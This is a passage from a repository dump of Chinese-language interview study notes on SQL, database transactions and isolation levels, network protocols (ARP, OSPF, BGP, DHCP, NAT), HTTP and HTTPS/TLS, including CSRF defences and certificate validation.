中使用在 SELECT 中设定别名的字段作为判断条件的原因。\n  - **无论在语法上还是在执行顺序上， UNION 总是排在在 ORDER BY 之前**。很多人认为每个 UNION 段都能使用 ORDER BY 排序，但是根据 SQL 语言标准和各个数据库 SQL 的执行差异来看，这并不是真的。尽管某些数据库允许 SQL 语句对子查询（subqueries）或者派生表（derived tables）进行排序，但是这并不说明这个排序在 UNION 操作过后仍保持排序后的顺序。\n\n虽然SQL的逻辑查询是根据上述进行查询，但是数据库也许并不会完全按照逻辑查询处理的方式来进行查询。MYSQL数据库有两个组件 `Parser`（分析SQL语句）和 `Optimizer`（优化）。\n\n从官方手册上看，可以理解为， `MySQL` 采用了基于开销的优化器，以确定处理查询的最解方式，也就是说执行查询之前，都会先选择一条自以为最优的方案，然后执行这个方案来获取结果。在很多情况下， `MySQL` 能够计算最佳的可能查询计划，但在某些情况下， `MySQL` 没有关于数据的足够信息，或者是提供太多的相关数据信息，估测就不那么友好了。\n\n存在索引的情况下，优化器优先使用条件用到索引且最优的方案。**当 sql 条件有多个索引可以选择，mysql 优化器将直接使用效率最高的索引执行**。\n\n## 子查询\n\n子查询按使用场合分：\n\n  - **作为主查询的结果数据**：`select c1,(select f1 from tab2) as f11 from tab1`; #这里子查询应该只有一个数据（一行一列，标量子查询）\n  - **作为主查询的条件数据**：`select c1 from tab1 where c1 in (select f1 from tab2)`; #这里子查询可以是多个数据（多行一列，列子查询，以及标量子查询，实际上行子查询也可能，但极少）\n  - **作为主查询的来源数据**：`select c1 from (select f1 as c1, f2 from tab2) as t2`; #这里子查询可以是任意查询结果（表子查询）。\n\n## 权限分配\n\n```sql\ngrant select,insert on userdb.userinfo to'zhangsan'@'localhost'\n```\n\n## 模糊查询\n\n**%**：表示任意0个或多个字符。可匹配任意类型和长度的字符，有些情况下若是中文，请使用两个百分号（%%）表示。\n\n```sql\nselect * from test where text like '%1%';\n```\n\n**_** ： 表示任意单个字符。匹配单个任意字符，它常用来限制表达式的字符长度语句。\n\n```sql\n--倒数第三个字符为 1 ，且最小长度为 5\nselect * from test where text like '__%1__';\n```\n"
  },
  {
    "path": "docs/android/interview/basic/database/transaction.md",
    "content": "# [事务](https://draveness.me/mysql-transaction)\n\n## 事务的特性\n\n所谓事务，它是一个操作序列，这些操作要么都执行，要么都不执行，它是一个不可分割的工作单位。\n\n### Atomicity（原子性）\n\n 原子性是指事务是一个不可再分割的工作单位，事务中的操作要么都发生，要么都不发生。\n\n### Consistency（一致性）\n\n一致性是指在事务开始之前和事务结束以后，数据库的完整性约束没有被破坏。这是说数据库事务不能破坏关系数据的完整性以及业务逻辑上的一致性。\n\n### Isolation（隔离性）\n\n多个事务并发访问时，事务之间是隔离的，一个事务不应该影响其它事务运行效果。\n\n这指的是在并发环境中，当不同的事务同时操纵相同的数据时，每个事务都有各自的完整数据空间。由并发事务所做的修改必须与任何其他并发事务所做的修改隔离。事务查看数据更新时，数据所处的状态要么是另一事务修改它之前的状态，要么是另一事务修改它之后的状态，事务不会查看到中间状态的数据。\n\n### Durability（持久性）\n\n 持久性，意味着在事务完成以后，该事务所对数据库所作的更改便持久的保存在数据库之中，并不会被回滚。\n\n## 事务隔离级别\n\n数据库是要被广大客户所共享访问的，那么在数据库操作过程中很可能出现以下几种不确定情况：\n\n- **丢失修改**：两个事务T1，T2读入同一数据并修改，T2提交的结果被T1破坏了，导致T1的修改丢失。（订票系统）\n\n- **不可重复读**：事务T1读取数据后，事务T2执行更新操作，使T1无法再次读取结果。\n> 可以通过“读锁”和“写锁”解决不可重复读。读取数据的事务将会禁止写事务（但允许读事务），写事务则禁止任何其他事务。\n\n- **读脏数据**：事务T1修改某个数据并写回磁盘，事务T2读取同一数据，但T1由于某种原因撤销了，这时T1修改过的数据恢复原来的值，T2读取的数据就与数据库中的数据不一致。\n\n- **幻读**：事务在操作过程中进行两次查询，第二次查询结果包含了第一次查询中未出现的数据（这里并不要求两次查询SQL语句相同）**这是因为在两次查询过程中有另外一个事务插入数据造成的**。\n\n为了避免上面出现几种情况在标准SQL规范中定义了4个事务隔离级别，不同隔离级别对事务处理不同 。\n\n### 未提交读（Read Uncommitted）\n\n未提交读(READ UNCOMMITTED)是最低的隔离级别。**允许脏读(dirty reads)，但不允许更新丢失，事务可以看到其他事务“尚未提交”的修改**。\n\n### 提交读（Read Committed）\n\n**允许不可重复读取，但不允许脏读取**。这可以通过“瞬间共享读锁”和“排他写锁”实现。**读取数据的事务允许其他事务继续访问该行数据，但是未提交的写事务将会禁止其他事务访问该行**。\n\n### 可重复读（Repeatable Read）\n\n**禁止不可重复读取和脏读取，但是有时可能出现幻读数据**。这可以通过“共享读锁”和“排他写锁”实现。读取数据的事务将会禁止写事务（但允许读事务），写事务则禁止任何其他事务。\n\n### 可序列化(Serializable)\n\n最高的隔离级别，**它要求事务序列化执行，事务只能一个接着一个地执行，不能并发执行**。仅仅通过“行级锁”是无法实现事务序列化的，必须通过其他机制保证新插入的数据不会被刚执行查询操作的事务访问到。\n\n隔离级别越高，越能保证数据的完整性和一致性，但是对并发性能的影响也越大。\n\n## 隔离级别的实现\n\n数据库对于隔离级别的实现就是使用并发控制机制对在同一时间执行的事务进行控制，限制不同的事务对于同一资源的访问和更新，而最重要也最常见的并发控制机制，在这里我们将简单介绍三种最重要的并发控制器机制的工作原理。\n\n### 锁\n\n锁是一种最为常见的并发控制机制，在一个事务中，我们并不会将整个数据库都加锁，而是只会锁住那些需要访问的数据项， MySQL 和常见数据库中的锁都分为两种，共享锁（Shared）和互斥锁（Exclusive），前者也叫读锁，后者叫写锁。\n\n![](images/b770fe3a84fda99f5570061135dd789d.png)\n\n读锁保证了读操作可以并发执行，相互不会影响，而写锁保证了在更新数据库数据时不会有其他的事务访问或者更改同一条记录造成不可预知的问题。\n\n### 时间戳\n\n除了锁，另一种实现事务的隔离性的方式就是通过时间戳，使用这种方式实现事务的数据库，例如 `PostgreSQL` 会为每一条记录保留两个字段；**读时间戳中包括了所有访问该记录的事务中的最大时间戳，而记录行的写时间戳中保存了将记录改到当前值的事务的时间戳**。\n\n![](images/81dcf208e6baa45cf015f6202a9a647d.png)\n\n使用时间戳实现事务的隔离性时，往往都会使用乐观锁，**先对数据进行修改，在写回时再去判断当前值，也就是时间戳是否改变过，如果没有改变过，就写入，否则，生成一个新的时间戳并再次更新数据**，乐观锁其实并不是真正的锁机制，它只是一种思想，在这里并不会对它进行展开介绍。\n\n### 多版本和快照隔离\n\n通过维护多个版本的数据，数据库可以允许事务在数据被其他事务更新时对旧版本的数据进行读取，很多数据库都对这一机制进行了实现；因为 **所有的读操作不再需要等待写锁的释放，所以能够显著地提升读的性能**， `MySQL` 和 `PostgreSQL` 都对这一机制进行自己的实现，也就是 `MVCC` ，虽然各自实现的方式有所不同，MySQL 就通过提到的 `undo log` 实现了 MVCC，保证事务并行执行时能够不等待互斥锁的释放直接获取数据。\n\n## ACID vs CAP\n\n数据库对于 `ACID` 中的一致性的定义是这样的：如果一个事务原子地在一个一致地数据库中独立运行，那么在它执行之后，数据库的状态一定是一致的。对于这个概念，它的第一层意思就是对于数据完整性的约束，包括主键约束、引用约束以及一些约束检查等等，在事务的执行的前后以及过程中不会违背对数据完整性的约束，所有对数据库写入的操作都应该是合法的，并不能产生不合法的数据状态。\n\n`CAP` 定理中的数据一致性，其实是说分布式系统中的各个节点中对于同一数据的拷贝有着相同的值；而 `ACID` 中的一致性是指数据库的规则，如果 schema 中规定了一个值必须是唯一的，那么一致的系统必须确保在所有的操作中，该值都是唯一的，由此来看 `CAP` 和 `ACID` 对于一致性的定义有着根本性的区别。\n\n## 使用事务\n\n在MySQL中使用`START TRANSACTION` 或 `BEGIN`开启事务，提交事务使用`COMMIT`，`ROLLBACK`用来放弃事务。MySQL默认设置了事务的自动提交，即一条SQL语句就是一个事务。\n\n## 总结\n\n事务的（ACID）特性是由关系数据库管理系统（RDBMS，数据库系统）来实现的。**数据库管理系统采用日志来保证事务的原子性、一致性和持久性**。日志记录了事务对数据库所做的更新，如果某个事务在执行过程中发生错误，就可以根据日志，撤销事务对数据库已做的更新，使数据库退回到执行事务前的初始状态。\n\n**数据库管理系统采用锁机制来实现事务的隔离性**。当多个事务同时更新数据库中相同的数据时，只允许持有锁的事务能更新该数据，其他事务必须等待，直到前一个事务释放了锁，其他事务才有机会更新该数据。\n"
  },
  {
    "path": "docs/android/interview/basic/net/README.md",
    "content": "# 计算机网络\n"
  },
  {
    "path": "docs/android/interview/basic/net/base_protocol.md",
    "content": "# 底层网络协议\n\n## ARP（地址解析协议）\n\n基本功能为透过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。在每台安装有TCP/IP协议的电脑或路由器里都有一个ARP缓存表，表里的IP地址与MAC地址是一对应的。\n\n当发送数据时，主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到就知道目标MAC地址为（00-BB-00-62-C2-02），直接把目标MAC地址写入帧里面发送就可；如果在ARP缓存表中没有找到相对应的IP地址，主机A就会在网络上发送一个 **广播（ARP request）**，目标MAC地址是“FF.FF.FF.FF.FF.FF”，这表示向同一网段内的所有主机发出这样的询问：“192.168.38.11的MAC地址是什么？”网络上其他主机并不响应ARP询问，只有主机B接收到这个帧时，才向主机A做出这样的回应（ARP response）：“192.168.38.11的MAC地址是（00-BB-00-62-C2-02）”。这样，主机A就知道主机B的MAC地址，它就可以向主机B发送信息。同时它还更新自己的ARP缓存表，下次再向主机B发送信息时，直接从ARP缓存表里查找就可。**ARP缓存表采用老化机制**，在一段时间内如果表中的某一行没有使用，就会被删除，这样可以大大减少ARP缓存表的长度，加快查询速度。\n\n> 当发送主机和目的主机不在同一个局域网中时，即便知道目的主机的MAC地址，两者也不能直接通信，必须经过路由转发才可以。所以此时，发送主机通过ARP协议获得的将不是目的主机的真实MAC地址，而是一台可以通往局域网外的路由器的MAC地址。于是此后发送主机发往目的主机的所有帧，都将发往该路由器，通过它向外发送。这种情况称为ARP代理（ARP Proxy）。\n\n## ICMP（互联网控制消息协议）\n\n它 **用于TCP/IP网络中发送控制消息**，提供可能发生在通信环境中的各种问题反馈，通过这些信息，令管理者可以对所发生的问题作出诊断，然后采取适当的措施解决。它与传输协议最大的不同：它一般不用于在两点间传输数据，而常常 **用于返回的错误信息或是分析路由**。\n\nICMP控制的内容包括但不仅限于：echo响应（ping）、目标网络不可达、目标端口不可达、禁止访问的网络、拥塞控制、重定向、TTL超时...\n\n## 路由选择协议\n\n路由选择协议分为：静态的和动态的。Internet中使用的是动态路由选择协议，在Internet的概念中，将整个互联网划分为许多个小的**自治系统（AS）**。AS的最主要的特征：**一个AS对其他AS表现出的是一个单一 和一致的路由选择策略**。\n\n由于AS的存在，路由选择协议又分为两种：\n  - 内部网关协议（IGP）：即在一个AS内部使用的路由选择协议，而这与互联网中其他AS选用什么路由协议无关。比如：OSPF\n  - 外部网关协议（EGP）：若源主机和目的主机不再同一个AS中，就需要使用一种协议将路由选择信息传递到另一个AS中，这就是EGP。比如：BGP。\n\n## OSPF（开放式最短路径优先）\n\nOSPF属于内部网关协议（IGP）的一种，使用Dijkstra提出的**最短路径算法**。\n\nOSPF提出了“区域（Area）”的概念，一个网络可以由单一区域或者多个区域组成。其中，一个特别的区域被称为骨干区域（Backbone Area），该区域是整个OSPF网络的核心区域，并且所有其他的区域都与之直接连接。所有的内部路由都通过骨干区域传递到其他非骨干区域。所有的区域都必须直接连接到骨干区域，如果不能创建直接连接，那么可以通过虚拟链路（Virtual-link）和骨干区域创建虚拟连接。\n\n划分区域的优点：\n  - 将洪泛法的范围限制在一个区域中。\n  - 减少每个区域内部路由信息交换的通信量。  \n\n- OSPF使用的是**分布式链路状态协议**，使用 **洪泛法**向该路由器所有的相邻路由器发送信息。最终整个区域的所有路由器都得到一个这个信息的副本。这个副本就是 **链路状态数据库（LSDB）用来保存当前网络拓扑结构**，路由器上属于同一区域的链路状态数据库是相同的（属于多个区域的路由器会为每个区域维护一份链路状态数据库）。\n- OSPF使用 **“代价（Cost）”**作为路由度量。\n- 只有当链路发生变化时才会更新信息。\n\n> 如果同一个目的网络有多条路径，OSPF协议可以进行 **负载均衡**。\n\n## BGP（边界网关协议）\n\n由于BGP是工作在AS之间的协议，并且各个AS的情况复杂，所以 **BGP只是力求找到一个可以到达目的网络且比较好的路由，而并不是寻找一条最佳路由**。每一个AS都应该有一个**“BGP发言人“**，一般来说，两个BGP发言人是通过一个共享网络连接在一起的，BGP发言人往往是**BGP边界路由**，但也可以不是。\n\n一个BGP发言人与其他AS的BGP发言人要交换路由信息，首先要建立TCP连接，然后在此连接上交换BGP报文以建立BGP会话。当BGP发言人交换了路由信息后，就构造自治系统连通图，最后通过该图来进行路由选择。\n\n## DHCP（动态主机设置协议）\n\nDHCP是一个局域网的网络协议，使用UDP协议工作，主要有两个用途：\n\n  - 用于内部网络或网络服务供应商自动分配IP地址给用户\n  - 用于内部网络管理员作为对所有电脑作中央管理的手段\n\n**动态主机设置协议（DHCP）是一种使网络管理员能够集中管理和自动分配IP网络地址的通信协议**。在IP网络中，每个连接Internet的设备都需要分配唯一的IP地址。DHCP使网络管理员能从中心结点监控和分配IP地址。当某台计算机移到网络中的其它位置时，能自动收到新的IP地址。\n\nDHCP使用了 **租约** 的概念，或称为计算机IP地址的有效期。租用时间是不定的，主要取决于用户在某地连接Internet需要多久，这对于教育行业和其它用户频繁改变的环境是很实用的。通过较短的租期，DHCP能够在一个计算机比可用IP地址多的环境中动态地重新配置网络。DHCP支持为计算机分配静态地址，如需要永久性IP地址的Web服务器。\n\n## NAT（地址转换协议）\n\nNAT是一种 **在IP封包通过路由器或防火墙时重写来源IP地址或目的IP地址的技术**。这种技术被普遍使用在有多台主机但只通过一个公有IP地址访问因特网的私有网络中。\n"
  },
  {
    "path": "docs/android/interview/basic/net/http.md",
    "content": "# HTTP\n\n  - HTTP构建于`TCP/IP`协议之上，默认端口号是80。\n  - HTTP是 **无连接无状态** 的。\n\n无连接的含义是 **限制每次连接只处理一个请求**。服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。后来使用了`Keep-Alive`技术。\n\n无状态是指 **协议对于事务处理没有记忆能力，服务器不知道客户端是什么状态**。即我们给服务器发送 HTTP 请求之后，服务器根据请求，会给我们发送数据过来，但是，发送完，不会记录任何信息。\n\nHTTP 协议这种特性有优点也有缺点，优点在于解放了服务器，每一次请求“点到为止”不会造成不必要连接占用，**缺点在于每次请求会传输大量重复的内容信息**。\n\n为了解决HTTP无状态的缺点，两种用于保持 HTTP 连接状态的技术就应运而生了，一个是 `Cookie`，而另一个则是 `Session`。`Cookie`在客户端记录状态，比如登录状态。`Session`在服务器记录状态。\n\n\n## Http的报文结构\n\n### HTTP 请求报文头部\n\n  - `User-Agent`：产生请求的浏览器类型。\n  - `Accept`：客户端可识别的响应内容类型列表;\n  - `Accept-Language`：客户端可接受的自然语言;\n  - `Accept-Encoding`：客户端可接受的编码压缩格式;\n  - `Accept-Charset`：可接受的应答的字符集;\n  - `Host`：请求的主机名，允许多个域名同处一个IP 地址，即虚拟主机;（必选）\n  - `Connection`：连接方式(close 或 `keep-alive`);\n  - `Cookie`：存储于客户端扩展字段，向同一域名的服务端发送属于该域的cookie;\n  - `请求包体`：在`POST`方法中使用。\n  - `Referer`：包含一个URL，用户从该URL代表的页面出发访问当前请求的页面。\n  - `If-Modified-Since`：文档的最后改动时间\n\n### HTTP 响应头\n\n  - `Allow`\t服务器支持哪些请求方法（如GET、POST等）。\n  - `Content-Encoding`\t文档的编码（Encode）方法。\n  - `Content-Length`\t表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。\n  - `Content-Type`\t表示后面的文档属于什么MIME类型。\n  - `Date`\t当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。\n  - `Expires`\t应该在什么时候认为文档已经过期，从而不再缓存它。\n  - `Last-Modified`\t文档的最后改动时间。\n  - `Refresh`\t表示浏览器应该在多少时间之后刷新文档，以秒计。\n  - `Server`\t服务器名字。\n  - `Set-Cookie`\t设置和页面关联的Cookie。\n  - `ETag`：被请求变量的实体值。ETag是一个可以与Web资源关联的记号（MD5值）。\n  - `Cache-Control`：这个字段用于指定所有缓存机制在整个请求/响应链中必须服从的指令。\n\n  > max-age：表示当访问此网页后的 x 秒内再次访问不会去服务器；no-cache，实际上Cache-Control: no-cache是会被缓存的，只不过每次在向客户端（浏览器）提供响应数据时，缓存都要向服务器评估缓存响应的有效性；no-store，这个才是响应不被缓存的意思；\n\n>`Last-Modified`与`If-Modified-Since`都是用来记录页面的最后修改时间。当客户端访问页面时，服务器会将页面最后修改时间通过 Last-Modified 标识由服务器发往客户端，客户端记录修改时间，再次请求本地存在的cache页面时，客户端会通过 If-Modified-Since 头将先前服务器端发过来的最后修改时间戳发送回去，服务器端通过这个时间戳判断客户端的页面是否是最新的，如果不是最新的，则返回新的内容，如果是最新的，则返回 304。\n\n## Http的状态码含义。\n\n  - `1**`\t信息，服务器收到请求，需要请求者继续执行操作\n  - `2**`\t成功，操作被成功接收并处理\n  - `3**`\t重定向，需要进一步的操作以完成请求\n    - `301 Moved Permanently`。请求的资源已被永久的移动到新URI，返回信息会包括新的URI，浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替\n    - `302 Moved Temporarily`。与301类似。但资源只是临时被移动。客户端应继续使用原有URI\n    - `304 Not Modified`。所请求的资源未修改，服务器返回此状态码时，不会返回任何资源。**客户端通常会缓存访问过的资源，通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源**。\n  - `4**`\t客户端错误，请求包含语法错误或无法完成请求\n    - `400 Bad Request` 由于客户端请求有语法错误，不能被服务器所理解。\n    - `401 Unauthorized` 请求未经授权。这个状态代码必须和WWW-Authenticate报头域一起使用\n    - `403 Forbidden` 服务器收到请求，但是拒绝提供服务。服务器通常会在响应正文中给出不提供服务的原因\n    - `404 Not Found` 请求的资源不存在，例如，输入了错误的URL\n  - `5**`\t服务器错误，服务器在处理请求的过程中发生了错误\n    - `500 Internal Server Error` 服务器发生不可预期的错误，导致无法完成客户端的请求。\n    - `503 Service Unavailable` 服务器当前不能够处理客户端的请求，在一段时间之后，服务器可能会恢复正常。\n\n## Http request的几种类型。\n\n  - `GET`\t请求指定的页面信息，并返回实体主体。\n  - `POST`\t向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。\n  - `PUT`\t从客户端向服务器传送的数据取代指定的文档的内容。\n  - `DELETE`\t请求服务器删除指定的页面。\n\n  >GET可提交的数据量受到URL长度的限制，HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制\n\n  >理论上讲，POST是没有大小限制的，HTTP协议规范也没有进行大小限制，出于安全考虑，服务器软件在实现时会做一定限制\n\n## 条件 GET\n\nHTTP条件GET 是 `HTTP` 协议为了减少不必要的带宽浪费，提出的一种方案。实际上就是利用`If-Modified-Since`做浏览器缓存。\n\n## 持久连接\n\n我们知道 HTTP 协议采用`请求-应答`模式，当使用普通模式，即非 Keep-Alive 模式时，每个请求/应答客户和服务器都要新建一个连接，完成之后立即断开连接（HTTP协议为无连接的协议）；当使用 `Keep-Alive 模式`（又称持久连接、连接重用）时，`Keep-Alive` 功能使客户端到服务器端的连接持续有效，当出现对服务器的后继请求时，`Keep-Alive` 功能避免了建立或者重新建立连接。\n\n在 HTTP 1.0 中, 没有官方的 `keep alive` 的操作。通常是在现有协议上添加一个指数。如果浏览器支持 keep-alive，它会在请求的包头中添加：\n\n```\nConnection: Keep-Alive\n```\n\n然后当服务器收到请求，作出回应的时候，它也添加一个头在响应中：\n\n```\nConnection: Keep-Alive\n```\n\n这样做，连接就不会中断（超过 Keep-Alive 规定的时间--服务器设置，意外断电等情况除外），而是保持连接。当客户端发送另一个请求时，它会使用同一个连接。这一直继续到客户端或服务器端认为会话已经结束，其中一方中断连接。\n\n在 HTTP 1.1 版本中，默认情况下所有连接都被保持，如果加入 \"Connection: close\" 才关闭。\n\n> HTTP Keep-Alive 简单说就是保持当前的TCP连接，避免了重新建立连接。\n\n> **HTTP 长连接不可能一直保持，例如 Keep-Alive: timeout=5, max=100，表示这个TCP通道可以保持5秒，max=100，表示这个长连接最多接收100次请求就断开**。\n\n> HTTP是一个无状态协议，这意味着每个请求都是独立的，Keep-Alive没能改变这个结果。另外，**Keep-Alive也不能保证客户端和服务器之间的连接一定是活跃的**，在HTTP1.1版本中也如此。唯一能保证的就是当连接被关闭时你能得到一个通知，所以不应该让程序依赖于Keep-Alive的保持连接特性，否则会有意想不到的后果。\n\n> 使用长连接之后，客户端、服务端怎么知道本次传输结束呢？两部分：1. 判断传输数据是否达到了Content-Length 指示的大小；2. 动态生成的文件没有 Content-Length ，它是分块传输（chunked），这时候就要根据 chunked 编码来判断，chunked 编码的数据在最后有一个空 chunked 块，表明本次传输数据结束。\n\n## 跨站攻击\n\nCSRF（Cross-site request forgery，跨站请求伪造）伪造请求，冒充用户在站内的正常操作，比如爬虫。\n\n### 防范的方法\n\n  - 关键操作只接受POST请求\n  - 验证码\n  - 检测 Referer\n  - Token\n    - Token 要足够随机——只有这样才算不可预测\n    - Token 是一次性的，即每次请求成功后要更新Token——这样可以增加攻击难度，增加预测难度\n    - Token 要注意保密性——敏感操作使用 post，防止 Token 出现在 URL 中\n\n## 断点续传\n\n要实现断点续传的功能，通常都需要客户端记录下当前的下载进度，并在需要续传的时候通知服务端本次需要下载的内容片段。\n\nHTTP1.1协议中定义了断点续传相关的HTTP头 `Range` 和 `Content-Range` 字段，一个最简单的断点续传实现大概如下：\n  1. 客户端下载一个1024K的文件，已经下载了其中512K\n  2. 网络中断，客户端请求续传，因此需要在HTTP头中申明本次需要续传的片段：`Range:bytes=512000-`，这个头通知服务端从文件的512K位置开始传输文件。\n  3. 服务端收到断点续传请求，从文件的512K位置开始传输，并且在HTTP头中增加：`Content-Range:bytes 512000-/1024000`，并且此时服务端返回的HTTP状态码应该是`206`，而不是200。\n\n但是在实际场景中，会出现一种情况，即在终端发起续传请求时，URL对应的文件内容在服务端已经发生变化，此时续传的数据肯定是错误的。如何解决这个问题了？显然此时我们需要有一个标识文件唯一性的方法。在RFC2616中也有相应的定义，比如 **实现Last-Modified来标识文件的最后修改时间，这样即可判断出续传文件时是否已经发生过改动**。同时RFC2616中还定义有一个ETag的头，可以使用ETag头来放置文件的唯一标识，比如文件的MD5值。\n\n客户端在发起续传请求时应该在HTTP头中申明`If-Match` 或者 `If-Modified-Since` 字段，帮助服务端判别文件变化。\n\n## 一次HTTP请求\n\n  1. 域名解析\n    1. 浏览器缓存\n    2. 系统缓存\n    3. hosts\n    4. ISP DNS 缓存\n    5. DNS 服务器搜索\n  2. 浏览器发送 HTTP 请求到目标服务器\n  3. 服务器永久重定向\n  4. 浏览器跟踪重定向地址\n  5. 服务器“处理”请求\n  6. 服务器发回一个HTML响应\n  7. 浏览器开始显示HTML\n  8. 浏览器请求获取嵌入在 HTML 中的对象（图片&脚本等）\n  9. 浏览器发送异步（AJAX）请求\n"
  },
  {
    "path": "docs/android/interview/basic/net/https.md",
    "content": "# [HTTPS](https://zh.wikipedia.org/wiki/%E8%B6%85%E6%96%87%E6%9C%AC%E4%BC%A0%E8%BE%93%E5%AE%89%E5%85%A8%E5%8D%8F%E8%AE%AE)\n\n`HTTPS` 是一种通过计算机网络进行安全通信的传输协议。HTTPS经由HTTP进行通信，但利用 `SSL/TLS` 来加密数据包。 `HTTPS` 开发的主要目的，是提供对网站服务器的身份认证，保护交换数据的隐私与完整性。\n\n`HTTPS` 的主要思想是在不安全的网络上创建一安全信道，并可在使用适当的加密包和服务器证书可被验证且可被信任时，对窃听和中间人攻击提供合理的防护。HTTPS的信任继承基于预先安装在浏览器中的证书颁发机构（如`Symantec、Comodo、GoDaddy和GlobalSign`等）（意即“我信任证书颁发机构告诉我应该信任的”）\n\n## HTTP 为什么不安全\n\n`http` 协议属于 **明文传输协议** ，交互过程以及数据传输都没有进行加密，通信双方也没有进行任何认证，通信过程非常容易遭遇劫持、监听、篡改，严重情况下，会造成恶意的流量劫持等问题，甚至造成个人隐私泄露（比如银行卡卡号和密码泄露）等严重的安全问题。\n\n比如常见的，在 `http` 通信过程中，“中间人”将广告链接嵌入到服务器发给用户的 `http` 报文里，导致用户界面出现很多不良链接； 或者是修改用户的请求头 `URL` ，导致用户的请求被劫持到另外一个网站，用户的请求永远到不了真正的服务器。这些都会导致用户得不到正确的服务，甚至是损失惨重。\n\n## HTTPS 如何保证安全\n\n要解决 `http` 带来的问题，就要引入加密以及身份验证机制。\n\n### 数字证书\n\n服务器首先生成公私钥，将公钥提供给相关机构（CA），CA 将公钥放入数字证书并将数字证书颁布给服务器，**此时服务器就不是简单的把公钥给客户端，而是给客户端一个数字证书**，数字证书中加入了一些数字签名的机制，保证了数字证书一定是服务器给客户端的。中间人发送的伪造证书，不能够获得 CA 的认证，此时，客户端和服务器就知道通信被劫持了。\n\n证书由 `公钥、证书主体、数字签名` 等内容组成。在客户端发起 SSL 请求后，服务端会将数字证书发给客户端，客户端会对证书进行验证（验证这张证书是否是伪造的？也就是公钥是否是伪造的），如果证书不是伪造的，客户端就获取用于对称密钥交换的非对称密钥（获取公钥）\n\n#### 数字证书有三个作用：\n\n  1. **身份授权**：确保浏览器访问的网站是经过CA验证的可信任的网站。\n  2. **分发公钥**：每个数字证书都包含了注册者生成的公钥（验证确保是合法的，非伪造的公钥）。在 `SSL` 握手时会通过 `certificate` 消息传输给客户端。\n  3. **验证证书合法性**：客户端接收到数字证书后，会对证书合法性进行验证。只有验证通过后的证书，才能够进行后续通信过程。\n\n#### 证书的认证\n\n  1. 信任：浏览器内置了信任的根证书，就是看看web服务器的证书是不是这些信任根发的或者信任根的二级证书机构颁发的。\n    > 对方是不是上述证书的合法持有者。简单来说证明对方是否持有证书的对应私钥。验证方法两种，一种是对方签个名，我用证书验证签名；另外一种是用证书做个信封，看对方是否能解开。\n\n  2. 有效，就是看看web服务器证书是否在有效期，是否被吊销了。\n    > 验证正式是否吊销可以采用黑名单方式或者OCSP方式。黑名单就是定期从CA下载一个名单列表，里面有吊销的证书序列号，自己在本地比对一下就行。优点是效率高。缺点是不实时。OCSP是实时连接CA去验证，优点是实时，缺点是效率不高。\n\n怎样避免第三方伪造这个证书？答案就是数字签名（ `digital signature` ）。数字签名是证书的防伪标签，目前使用最广泛的 `SHA-RSA` （SHA用于哈希算法，RSA用于非对称加密算法）。数字签名的制作和验证过程如下：\n\n    1. 数字签名的签发：首先是使用哈希函数对证书内容进行安全哈希，生成消息摘要，然后使用CA自己的私钥对消息摘要进行加密。\n    2. 数字签名的校验：使用 CA 的公钥和证书里的解密算法解密签名，根据证书的摘要算法计算证书摘要信息，并进行比较，如果相同就认为校验成功。\n\n![](images/0be933dd6159a4a907245547ceab5cda.png)\n\n需要注意的是：\n\n    1. 数字签名签发和校验使用的非对称密钥是CA自己的公钥和私钥，跟证书申请者（提交证书申请的公司实体）提交的公钥没有任何关系。\n    2. 数字签名的签发过程跟公钥加密的过程刚好相反，即是用私钥加密，公钥解密。（一对公钥和私钥，公钥加密的内容只有私钥能够解密；反过来，私钥加密的内容，也就有公钥才能够解密）\n    3. 现在大的CA都会有证书链，证书链的好处：首先是安全，保持CA的私钥离线使用。第二个好处是方便部署和撤销。这里为啥要撤销呢？因为，如果CA数字证书出现问题（被篡改或者污染），只需要撤销相应级别的证书，根证书依然是安全的。\n    4. 根CA证书都是自签名，即用自己的公钥和私钥完成了签名的制作和验证。而证书链上的证书签名都是使用上一级证书的非对称密钥进行签名和验证的。\n    5. 怎样获取根CA和多级CA的密钥对？还有，既然是自签名和自认证，那么它们是否安全可信？这里的答案是：当然可信，因为这些厂商跟浏览器和操作系统都有合作，它们的根公钥都默认装到了浏览器或者操作系统环境里。\n\n## [SSL/TLS协议](http://www.ruanyifeng.com/blog/2014/02/ssl_tls.html)\n\n不使用SSL/TLS的HTTP通信，就是不加密的通信。所有信息明文传播，带来了三大风险。\n\n```\n（1） 窃听风险（eavesdropping）：第三方可以获知通信内容。\n（2） 篡改风险（tampering）：第三方可以修改通信内容。\n（3） 冒充风险（pretending）：第三方可以冒充他人身份参与通信。\n```\n\nSSL/TLS协议是为了解决这三大风险而设计的，希望达到：\n\n```\n（1） 所有信息都是加密传播，第三方无法窃听。\n（2） 具有校验机制，一旦被篡改，通信双方会立刻发现。\n（3） 配备身份证书，防止身份被冒充。\n```\n\n\n目前，应用最广泛的是 `TLS 1.0`，接下来是`SSL 3.0`。但是，主流浏览器都已经实现了 `TLS 1.2` 的支持。`TLS 1.0`通常被标示为`SSL 3.1`，`TLS 1.1`为`SSL 3.2`，`TLS 1.2`为`SSL 3.3`。\n\n```\n1994年，NetScape公司设计了SSL协议（Secure Sockets Layer）的1.0版，但是未发布。\n1995年，NetScape公司发布SSL 2.0版，很快发现有严重漏洞。\n1996年，SSL 3.0版问世，得到大规模应用。\n1999年，互联网标准化组织ISOC接替NetScape公司，发布了SSL的升级版TLS 1.0版。\n2006年和2008年，TLS进行了两次升级，分别为TLS 1.1版和TLS 1.2版。最新的变动是2011年TLS 1.2的修订版。\n```\n\n### TLS 运行过程\n\n`SSL/TLS`协议的基本思路是采用 **公钥加密法**，也就是说，客户端先向服务器端索要公钥，然后用公钥加密信息，服务器收到密文后，用自己的私钥解密。因此，`SSL/TLS`协议的基本过程是这样的：\n\n```\n（1） 客户端向服务器端索要并验证公钥。\n（2） 双方协商生成\"对话密钥\"。\n（3） 